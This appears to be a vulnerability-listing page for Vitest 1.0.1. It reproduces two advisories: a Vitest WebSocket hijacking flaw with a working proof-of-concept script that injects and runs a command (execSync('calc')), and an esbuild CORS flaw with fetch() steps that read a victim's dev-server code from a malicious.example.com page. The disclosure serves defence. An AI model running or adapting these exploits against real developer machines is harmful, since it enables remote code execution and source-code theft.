Vitest version 1.0.1 is a minor patch release over the previous stable version 1.0.0, focusing on small improvements and bug fixes. While the core functionality remains largely the same, some internal dependencies have been updated showing the continuous work of the vitest team. Most notably, "vite-node" has been bumped from version 1.0.0 to 1.0.1, and the internal libraries @vitest/spy, @vitest/utils, @vitest/expect, @vitest/runner, and @vitest/snapshot have all moved from version 1.0.0 to 1.0.1.
For developers, this means a smoother and more reliable testing experience. While the feature set is consistent between the versions, the updated dependencies likely address minor issues, enhance performance, or improve compatibility with other tools in the ecosystem. As a patch release, upgrading from 1.0.0 to 1.0.1 should be straightforward with minimal risk of introducing breaking changes.
Vitest is a Vite-powered next-generation testing framework designed for speed and efficiency. Vitest offers seamless integration with Vite projects, providing a familiar development experience and leveraging Vite's lightning-fast build times for testing. It boasts features like hot module replacement (HMR), native ESM support, and a rich set of assertion libraries. Vitest aims to be a comprehensive testing solution for modern web development.
All the vulnerabilities related to the version 1.0.1 of the package
Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening
Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.
When api
option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46
This WebSocket server has saveTestFile
API that can edit a test file and rerun
API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile
API and then running that file by calling the rerun
API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76
calc
executable in PATH
env var (you'll likely have it if you are running on Windows), that application will be executed.// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});
// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
console.log(e.data)
})
ws.addEventListener('open', () => {
ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))
const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"
// edit file content to inject command execution
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "saveTestFile",
a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
}))
// rerun the tests to run the injected command execution code
ws.send(Flatted.stringify({
t: 'q',
i: crypto.randomUUID(),
m: "rerun",
a: [testFilePath]
}))
})
This vulnerability can result in remote code execution for users that are using Vitest serve API.
esbuild enables any website to send any requests to the development server and read the response
esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.
esbuild sets Access-Control-Allow-Origin: *
header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.
https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121 https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363
Attack scenario:
http://malicious.example.com
).fetch('http://127.0.0.1:8000/main.js')
request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.http://127.0.0.1:8000/main.js
.In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by
/index.html
: normally you have a script tag here/assets
: it's common to have a assets
directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files/esbuild
SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data))
)The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.
npm i
npm run watch
fetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content))
in a different website's dev tools.Users using the serve feature may get the source code stolen by malicious websites.